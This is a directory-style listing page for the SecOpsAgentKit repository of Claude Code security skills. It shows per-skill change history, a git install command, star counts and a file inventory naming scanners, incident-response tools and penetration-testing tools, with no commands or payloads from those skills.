Menu

Not in the top 1,000 by GitHub stars

AgentSecOps/SecOpsAgentKit

Security operations toolkit for AI coding agents. Give Claude Code 25+ skills to catch vulnerabilities, scan containers, detect secrets, and enforce policies automatically.

Claude CodeSecurityEngineeringOperations

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

skills/_template/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/api-mitmproxy/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/api-spectral/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/dast-ffuf/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/dast-nuclei/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/dast-zap/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/sast-bandit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/sast-semgrep/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/appsec/sca-blackduck/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/compliance/policy-opa/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/devsecops/container-grype/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/devsecops/container-hadolint/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/devsecops/iac-checkov/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/devsecops/sca-trivy/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/devsecops/secrets-gitleaks/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/devsecops/vuln-defectdojo/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/incident-response/detection-sigma/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/incident-response/forensics-osquery/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/incident-response/ir-velociraptor/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/analysis-tshark/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/crack-hashcat/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/network-netcat/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/ot-security-assessment/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/pentest-metasploit/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/privesc-linpeas/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/recon-nmap/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/webapp-nikto/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/offsec/webapp-sqlmap/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/secsdlc/reviewdog/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/secsdlc/sast-horusec/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/secsdlc/sbom-syft/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

skills/threatmodel/pytm/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 6e25a4bc5743

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 6e25a4bc57432437889bda57da52ce4c414b9e82

git clone --filter=blob:none --no-checkout https://github.com/AgentSecOps/SecOpsAgentKit.git .hotskills/agentsecops-secopsagentkit && git -C .hotskills/agentsecops-secopsagentkit checkout --detach 6e25a4bc57432437889bda57da52ce4c414b9e82 # Copy each selected skill directory from .hotskills/agentsecops-secopsagentkit into .claude/skills/<skill-name>/
232GitHub stars
6stars in 7 days
32skills in this repository
0commits in 30 days

Heat

3.6
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 5, 2026233

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

skill-name

When your agent uses it

[REQUIRED] Comprehensive description of what this skill does and when to use it. Include: (1) Primary functionality, (2) Specific use cases, (3) Security operations context. Must include specific "Use when:" clause for skill discovery. Example: "SAST vulnerability analysis and remediation guidance using Semgrep and industry security standards. Use when: (1) Analyzing static code for security vulnerabilities, (2) Prioritizing security findings by severity, (3) Providing secure coding remediation, (4) Integrating security checks into CI/CD pipelines." Maximum 1024 characters.

What it loads into context

Frontmatter

213 tokens

Always available to the agent

SKILL.md

1,118 tokens

When the skill is activated

Reference documents

361,255 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Overview
  2. Quick Start
  3. Core Workflow
  4. Security Considerations
  5. Bundled Resources
  6. Common Patterns
  7. Integration Points
  8. Troubleshooting
  9. References

Scripts executed separately

  • ../.claude-plugin/marketplace.json
  • ../devsecops/vuln-defectdojo/scripts/import_findings.py
  • ../offsec/privesc-linpeas/scripts/linpeas_runner.py

Files

  • ../../.claude-plugin/marketplace.jsonasset3,138 bytes
  • ../.claude-plugin/marketplace.jsonruns2,397 bytes
  • SKILL.mdcore5,150 bytes
  • SKILL.mdcore5,150 bytes
  • assets/.gitkeepasset221 bytes
  • assets/ci-config-template.ymlasset11,105 bytes
  • assets/rule-template.yamlasset11,044 bytes
  • references/EXAMPLE.mddoc15,672 bytes
  • references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../appsec/api-mitmproxy/SKILL.mddoc14,910 bytes
  • ../appsec/api-mitmproxy/assets/.gitkeepasset221 bytes
  • ../appsec/api-mitmproxy/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/api-mitmproxy/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/api-mitmproxy/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/api-mitmproxy/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/api-mitmproxy/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/api-mitmproxy/references/EXAMPLE.mddoc15,672 bytes
  • ../appsec/api-mitmproxy/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../appsec/api-spectral/SKILL.mddoc22,234 bytes
  • ../appsec/api-spectral/assets/.gitkeepasset221 bytes
  • ../appsec/api-spectral/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/api-spectral/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/api-spectral/assets/github-actions-template.ymlasset6,173 bytes
  • ../appsec/api-spectral/assets/github-actions-template.ymlasset6,173 bytes
  • ../appsec/api-spectral/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/api-spectral/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/api-spectral/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/api-spectral/assets/spectral-owasp.yamlasset11,667 bytes
  • ../appsec/api-spectral/references/EXAMPLE.mddoc15,672 bytes
  • ../appsec/api-spectral/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../appsec/api-spectral/references/custom_rules_guide.mddoc12,145 bytes
  • ../appsec/api-spectral/references/owasp_api_mappings.mddoc16,432 bytes
  • ../appsec/dast-ffuf/SKILL.mddoc13,355 bytes
  • ../appsec/dast-ffuf/assets/.gitkeepasset221 bytes
  • ../appsec/dast-ffuf/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/dast-ffuf/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/dast-ffuf/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/dast-ffuf/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/dast-ffuf/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/dast-ffuf/references/EXAMPLE.mddoc15,672 bytes
  • ../appsec/dast-ffuf/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../appsec/dast-nuclei/SKILL.mddoc16,584 bytes
  • ../appsec/dast-nuclei/assets/.gitkeepasset221 bytes
  • ../appsec/dast-nuclei/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/dast-nuclei/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/dast-nuclei/assets/github_actions.ymlasset6,542 bytes
  • ../appsec/dast-nuclei/assets/github_actions.ymlasset6,542 bytes
  • ../appsec/dast-nuclei/assets/nuclei_config.yamlasset4,460 bytes
  • ../appsec/dast-nuclei/assets/nuclei_config.yamlasset4,460 bytes
  • ../appsec/dast-nuclei/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/dast-nuclei/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/dast-nuclei/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/dast-nuclei/references/EXAMPLE.mddoc15,672 bytes
  • ../appsec/dast-nuclei/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../appsec/dast-nuclei/references/authentication_patterns.mddoc11,946 bytes
  • ../appsec/dast-nuclei/references/false_positive_guide.mddoc12,151 bytes
  • ../appsec/dast-nuclei/references/owasp_mapping.mddoc9,457 bytes
  • ../appsec/dast-nuclei/references/template_development.mddoc12,996 bytes
  • ../appsec/dast-zap/SKILL.mddoc14,910 bytes
  • ../appsec/dast-zap/assets/.gitkeepasset221 bytes
  • ../appsec/dast-zap/assets/github_action.ymlasset6,264 bytes
  • ../appsec/dast-zap/assets/github_action.ymlasset6,264 bytes
  • ../appsec/dast-zap/assets/gitlab_ci.ymlasset6,009 bytes
  • ../appsec/dast-zap/assets/gitlab_ci.ymlasset6,009 bytes
  • ../appsec/dast-zap/assets/zap_automation.yamlasset4,922 bytes
  • ../appsec/dast-zap/assets/zap_context.xmlasset7,004 bytes
  • ../appsec/dast-zap/references/EXAMPLE.mddoc809 bytes
  • ../appsec/dast-zap/references/api_testing_guide.mddoc10,864 bytes
  • ../appsec/dast-zap/references/authentication_guide.mddoc11,294 bytes
  • ../appsec/dast-zap/references/false_positive_handling.mddoc10,061 bytes
  • ../appsec/dast-zap/references/owasp_mapping.mddoc8,097 bytes
  • ../appsec/sast-bandit/SKILL.mddoc10,374 bytes
  • ../appsec/sast-bandit/assets/.gitkeepasset221 bytes
  • ../appsec/sast-bandit/assets/bandit_config.yamlasset5,975 bytes
  • ../appsec/sast-bandit/assets/bandit_config.yamlasset5,975 bytes
  • ../appsec/sast-bandit/assets/bandit_config.yamlasset5,975 bytes
  • ../appsec/sast-bandit/assets/bandit_config.yamlasset5,975 bytes
  • ../appsec/sast-bandit/assets/pre-commit-config.yamlasset6,194 bytes
  • ../appsec/sast-bandit/assets/pre-commit-config.yamlasset6,194 bytes
  • ../appsec/sast-bandit/assets/pre-commit-config.yamlasset6,194 bytes
  • ../appsec/sast-bandit/assets/pre-commit-config.yamlasset6,194 bytes
  • ../appsec/sast-bandit/assets/pre-commit-config.yamlasset6,194 bytes
  • ../appsec/sast-bandit/references/cwe_owasp_mapping.mddoc7,934 bytes
  • ../appsec/sast-bandit/references/remediation_guide.mddoc16,496 bytes
  • ../appsec/sast-semgrep/SKILL.mddoc9,495 bytes
  • ../appsec/sast-semgrep/assets/ci_config_examples/github-actions.ymlasset3,439 bytes
  • ../appsec/sast-semgrep/assets/ci_config_examples/gitlab-ci.ymlasset2,711 bytes
  • ../appsec/sast-semgrep/assets/ci_config_examples/jenkins.groovyasset5,520 bytes
  • ../appsec/sast-semgrep/assets/rule_template.yamlasset3,768 bytes
  • ../appsec/sast-semgrep/assets/semgrep_config.yamlasset1,653 bytes
  • ../appsec/sast-semgrep/references/owasp_cwe_mapping.mddoc8,963 bytes
  • ../appsec/sast-semgrep/references/remediation_guide.mddoc10,349 bytes
  • ../appsec/sast-semgrep/references/rule_library.mddoc9,996 bytes
  • ../appsec/sca-blackduck/SKILL.mddoc14,965 bytes
  • ../appsec/sca-blackduck/assets/.gitkeepasset221 bytes
  • ../appsec/sca-blackduck/assets/blackduck_config.ymlasset4,584 bytes
  • ../appsec/sca-blackduck/assets/blackduck_config.ymlasset4,584 bytes
  • ../appsec/sca-blackduck/assets/blackduck_config.ymlasset4,584 bytes
  • ../appsec/sca-blackduck/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/sca-blackduck/assets/ci-config-template.ymlasset11,105 bytes
  • ../appsec/sca-blackduck/assets/ci_integration/github_actions.ymlasset5,239 bytes
  • ../appsec/sca-blackduck/assets/ci_integration/gitlab_ci.ymlasset6,043 bytes
  • ../appsec/sca-blackduck/assets/ci_integration/gitlab_ci.ymlasset6,043 bytes
  • ../appsec/sca-blackduck/assets/ci_integration/gitlab_ci.ymlasset6,043 bytes
  • ../appsec/sca-blackduck/assets/ci_integration/jenkins_pipeline.groovyasset11,350 bytes
  • ../appsec/sca-blackduck/assets/policy_templates/security_policy.jsonasset4,644 bytes
  • ../appsec/sca-blackduck/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/sca-blackduck/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/sca-blackduck/assets/rule-template.yamlasset11,044 bytes
  • ../appsec/sca-blackduck/references/EXAMPLE.mddoc15,672 bytes
  • ../appsec/sca-blackduck/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../appsec/sca-blackduck/references/cve_cwe_owasp_mapping.mddoc9,475 bytes
  • ../appsec/sca-blackduck/references/license_risk_guide.mddoc12,725 bytes
  • ../appsec/sca-blackduck/references/remediation_strategies.mddoc13,491 bytes
  • ../appsec/sca-blackduck/references/supply_chain_threats.mddoc16,454 bytes
  • ../compliance/policy-opa/SKILL.mddoc13,948 bytes
  • ../compliance/policy-opa/assets/.gitkeepasset221 bytes
  • ../compliance/policy-opa/assets/ci-cd-pipeline.yamlasset6,450 bytes
  • ../compliance/policy-opa/assets/gdpr-compliance.regoasset5,303 bytes
  • ../compliance/policy-opa/assets/k8s-constraint-template.yamlasset3,000 bytes
  • ../compliance/policy-opa/assets/k8s-constraint-template.yamlasset3,000 bytes
  • ../compliance/policy-opa/assets/k8s-constraint.yamlasset467 bytes
  • ../compliance/policy-opa/assets/k8s-pod-security.regoasset2,649 bytes
  • ../compliance/policy-opa/assets/pci-dss-compliance.regoasset4,365 bytes
  • ../compliance/policy-opa/assets/soc2-compliance.regoasset3,348 bytes
  • ../compliance/policy-opa/assets/terraform-security.regoasset6,472 bytes
  • ../compliance/policy-opa/references/EXAMPLE.mddoc809 bytes
  • ../compliance/policy-opa/references/compliance-frameworks.mddoc15,090 bytes
  • ../compliance/policy-opa/references/iac-policies.mddoc15,549 bytes
  • ../compliance/policy-opa/references/kubernetes-security.mddoc13,070 bytes
  • ../compliance/policy-opa/references/rego-patterns.mddoc10,647 bytes
  • ../devsecops/container-grype/SKILL.mddoc10,092 bytes
  • ../devsecops/container-grype/assets/.gitkeepasset221 bytes
  • ../devsecops/container-grype/assets/ci-config-template.ymlasset11,105 bytes
  • ../devsecops/container-grype/assets/ci-config-template.ymlasset11,105 bytes
  • ../devsecops/container-grype/assets/grype-ci-config.ymlasset10,283 bytes
  • ../devsecops/container-grype/assets/grype-ci-config.ymlasset10,283 bytes
  • ../devsecops/container-grype/assets/grype-ci-config.ymlasset10,283 bytes
  • ../devsecops/container-grype/assets/grype-config.yamlasset7,884 bytes
  • ../devsecops/container-grype/assets/grype-config.yamlasset7,884 bytes
  • ../devsecops/container-grype/assets/rule-template.yamlasset11,044 bytes
  • ../devsecops/container-grype/assets/rule-template.yamlasset11,044 bytes
  • ../devsecops/container-grype/assets/rule-template.yamlasset11,044 bytes
  • ../devsecops/container-grype/references/EXAMPLE.mddoc15,672 bytes
  • ../devsecops/container-grype/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../devsecops/container-grype/references/cisa_kev.mddoc7,438 bytes
  • ../devsecops/container-grype/references/cvss_guide.mddoc5,933 bytes
  • ../devsecops/container-grype/references/vulnerability_remediation.mddoc10,341 bytes
  • ../devsecops/container-hadolint/SKILL.mddoc17,417 bytes
  • ../devsecops/container-hadolint/assets/.gitkeepasset221 bytes
  • ../devsecops/container-hadolint/assets/github-actions.ymlasset2,957 bytes
  • ../devsecops/container-hadolint/assets/gitlab-ci.ymlasset1,930 bytes
  • ../devsecops/container-hadolint/assets/hadolint-balanced.yamlasset1,333 bytes
  • ../devsecops/container-hadolint/assets/hadolint-permissive.yamlasset1,120 bytes
  • ../devsecops/container-hadolint/assets/hadolint-strict.yamlasset1,607 bytes
  • ../devsecops/container-hadolint/references/EXAMPLE.mddoc809 bytes
  • ../devsecops/container-hadolint/references/security_rules.mddoc9,392 bytes
  • ../devsecops/iac-checkov/SKILL.mddoc18,409 bytes
  • ../devsecops/iac-checkov/assets/.gitkeepasset221 bytes
  • ../devsecops/iac-checkov/assets/checkov_config.yamlasset1,778 bytes
  • ../devsecops/iac-checkov/assets/github_actions.ymlasset5,699 bytes
  • ../devsecops/iac-checkov/assets/gitlab_ci.ymlasset5,232 bytes
  • ../devsecops/iac-checkov/assets/pre_commit_config.yamlasset2,651 bytes
  • ../devsecops/iac-checkov/references/EXAMPLE.mddoc809 bytes
  • ../devsecops/iac-checkov/references/compliance_mapping.mddoc7,968 bytes
  • ../devsecops/iac-checkov/references/custom_policies.mddoc13,193 bytes
  • ../devsecops/iac-checkov/references/suppression_guide.mddoc10,100 bytes
  • ../devsecops/sca-trivy/SKILL.mddoc14,775 bytes
  • ../devsecops/secrets-gitleaks/SKILL.mddoc16,555 bytes
  • ../devsecops/secrets-gitleaks/assets/.gitkeepasset221 bytes
  • ../devsecops/secrets-gitleaks/assets/config-balanced.tomlasset1,659 bytes
  • ../devsecops/secrets-gitleaks/assets/config-custom.tomlasset5,930 bytes
  • ../devsecops/secrets-gitleaks/assets/config-custom.tomlasset5,930 bytes
  • ../devsecops/secrets-gitleaks/assets/config-strict.tomlasset1,213 bytes
  • ../devsecops/secrets-gitleaks/assets/github-action.ymlasset5,960 bytes
  • ../devsecops/secrets-gitleaks/assets/github-action.ymlasset5,960 bytes
  • ../devsecops/secrets-gitleaks/assets/github-action.ymlasset5,960 bytes
  • ../devsecops/secrets-gitleaks/assets/github-action.ymlasset5,960 bytes
  • ../devsecops/secrets-gitleaks/assets/gitlab-ci.ymlasset6,881 bytes
  • ../devsecops/secrets-gitleaks/assets/precommit-config.yamlasset2,048 bytes
  • ../devsecops/secrets-gitleaks/references/EXAMPLE.mddoc809 bytes
  • ../devsecops/secrets-gitleaks/references/compliance_mapping.mddoc16,108 bytes
  • ../devsecops/secrets-gitleaks/references/detection_rules.mddoc9,534 bytes
  • ../devsecops/secrets-gitleaks/references/false_positives.mddoc13,938 bytes
  • ../devsecops/secrets-gitleaks/references/remediation_guide.mddoc12,533 bytes
  • ../devsecops/vuln-defectdojo/SKILL.mddoc9,432 bytes
  • ../devsecops/vuln-defectdojo/assets/defectdojo-engagement-template.jsonasset695 bytes
  • ../devsecops/vuln-defectdojo/references/tool-parser-map.mddoc4,193 bytes
  • ../devsecops/vuln-defectdojo/scripts/import_findings.pyruns5,444 bytes
  • ../incident-response/detection-sigma/SKILL.mddoc16,057 bytes
  • ../incident-response/detection-sigma/assets/.gitkeepasset221 bytes
  • ../incident-response/detection-sigma/assets/compliance-rules/iso27001-logging.ymlasset3,156 bytes
  • ../incident-response/detection-sigma/assets/compliance-rules/nist-800-53-audit.ymlasset2,918 bytes
  • ../incident-response/detection-sigma/assets/compliance-rules/pci-dss-monitoring.ymlasset2,399 bytes
  • ../incident-response/detection-sigma/assets/rule-templates/credential-access.ymlasset1,800 bytes
  • ../incident-response/detection-sigma/assets/rule-templates/lateral-movement.ymlasset1,814 bytes
  • ../incident-response/detection-sigma/assets/rule-templates/persistence.ymlasset1,815 bytes
  • ../incident-response/detection-sigma/assets/rule-templates/privilege-escalation.ymlasset1,689 bytes
  • ../incident-response/detection-sigma/references/backend-support.mddoc8,487 bytes
  • ../incident-response/detection-sigma/references/compliance-mappings.mddoc7,501 bytes
  • ../incident-response/detection-sigma/references/field-modifiers.mddoc8,572 bytes
  • ../incident-response/detection-sigma/references/log-source-guide.mddoc6,036 bytes
  • ../incident-response/detection-sigma/references/mitre-attack-mapping.mddoc7,151 bytes
  • ../incident-response/forensics-osquery/SKILL.mddoc19,562 bytes
  • ../incident-response/forensics-osquery/assets/.gitkeepasset221 bytes
  • ../incident-response/forensics-osquery/assets/forensic-packs/credential-access.confasset5,420 bytes
  • ../incident-response/forensics-osquery/assets/forensic-packs/ir-triage.confasset3,676 bytes
  • ../incident-response/forensics-osquery/assets/forensic-packs/lateral-movement.confasset5,185 bytes
  • ../incident-response/forensics-osquery/assets/forensic-packs/persistence-hunt.confasset5,530 bytes
  • ../incident-response/forensics-osquery/assets/osquery.confasset2,813 bytes
  • ../incident-response/forensics-osquery/references/mitre-attack-queries.mddoc12,471 bytes
  • ../incident-response/forensics-osquery/references/osqueryd-deployment.mddoc11,857 bytes
  • ../incident-response/forensics-osquery/references/platform-differences.mddoc8,636 bytes
  • ../incident-response/forensics-osquery/references/table-guide.mddoc10,358 bytes
  • ../incident-response/ir-velociraptor/SKILL.mddoc12,305 bytes
  • ../incident-response/ir-velociraptor/assets/.gitkeepasset221 bytes
  • ../incident-response/ir-velociraptor/assets/artifact-template.yamlasset3,567 bytes
  • ../incident-response/ir-velociraptor/assets/artifact-template.yamlasset3,567 bytes
  • ../incident-response/ir-velociraptor/assets/ci-config-template.ymlasset11,105 bytes
  • ../incident-response/ir-velociraptor/assets/ci-config-template.ymlasset11,105 bytes
  • ../incident-response/ir-velociraptor/assets/hunt-template.yamlasset5,295 bytes
  • ../incident-response/ir-velociraptor/assets/offline-collector-config.yamlasset6,811 bytes
  • ../incident-response/ir-velociraptor/assets/rule-template.yamlasset11,044 bytes
  • ../incident-response/ir-velociraptor/assets/rule-template.yamlasset11,044 bytes
  • ../incident-response/ir-velociraptor/assets/rule-template.yamlasset11,044 bytes
  • ../incident-response/ir-velociraptor/references/EXAMPLE.mddoc15,672 bytes
  • ../incident-response/ir-velociraptor/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../incident-response/ir-velociraptor/references/artifact-development.mddoc13,649 bytes
  • ../incident-response/ir-velociraptor/references/deployment-guide.mddoc15,157 bytes
  • ../incident-response/ir-velociraptor/references/mitre-attack-mapping.mddoc15,724 bytes
  • ../incident-response/ir-velociraptor/references/vql-patterns.mddoc15,588 bytes
  • ../offsec/analysis-tshark/SKILL.mddoc19,085 bytes
  • ../offsec/analysis-tshark/assets/.gitkeepasset221 bytes
  • ../offsec/analysis-tshark/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/analysis-tshark/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/analysis-tshark/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/analysis-tshark/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/analysis-tshark/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/analysis-tshark/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/analysis-tshark/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../offsec/crack-hashcat/SKILL.mddoc13,371 bytes
  • ../offsec/crack-hashcat/assets/.gitkeepasset221 bytes
  • ../offsec/crack-hashcat/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/crack-hashcat/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/crack-hashcat/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/crack-hashcat/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/crack-hashcat/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/crack-hashcat/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/crack-hashcat/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../offsec/network-netcat/SKILL.mddoc14,903 bytes
  • ../offsec/network-netcat/assets/.gitkeepasset221 bytes
  • ../offsec/network-netcat/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/network-netcat/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/network-netcat/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/network-netcat/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/network-netcat/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/network-netcat/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/network-netcat/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../offsec/ot-security-assessment/SKILL.mddoc18,509 bytes
  • ../offsec/pentest-metasploit/SKILL.mddoc14,522 bytes
  • ../offsec/pentest-metasploit/assets/.gitkeepasset221 bytes
  • ../offsec/pentest-metasploit/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/pentest-metasploit/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/pentest-metasploit/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/pentest-metasploit/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/pentest-metasploit/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/pentest-metasploit/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/pentest-metasploit/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../offsec/privesc-linpeas/SKILL.mddoc8,839 bytes
  • ../offsec/privesc-linpeas/assets/linpeas_report_template.mddoc1,557 bytes
  • ../offsec/privesc-linpeas/references/mitre_mapping.mddoc5,600 bytes
  • ../offsec/privesc-linpeas/references/privesc_vectors.mddoc6,202 bytes
  • ../offsec/privesc-linpeas/scripts/linpeas_runner.pyruns9,435 bytes
  • ../offsec/recon-nmap/SKILL.mddoc18,207 bytes
  • ../offsec/recon-nmap/assets/.gitkeepasset221 bytes
  • ../offsec/recon-nmap/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/recon-nmap/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/recon-nmap/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/recon-nmap/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/recon-nmap/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/recon-nmap/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/recon-nmap/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../offsec/webapp-nikto/SKILL.mddoc11,245 bytes
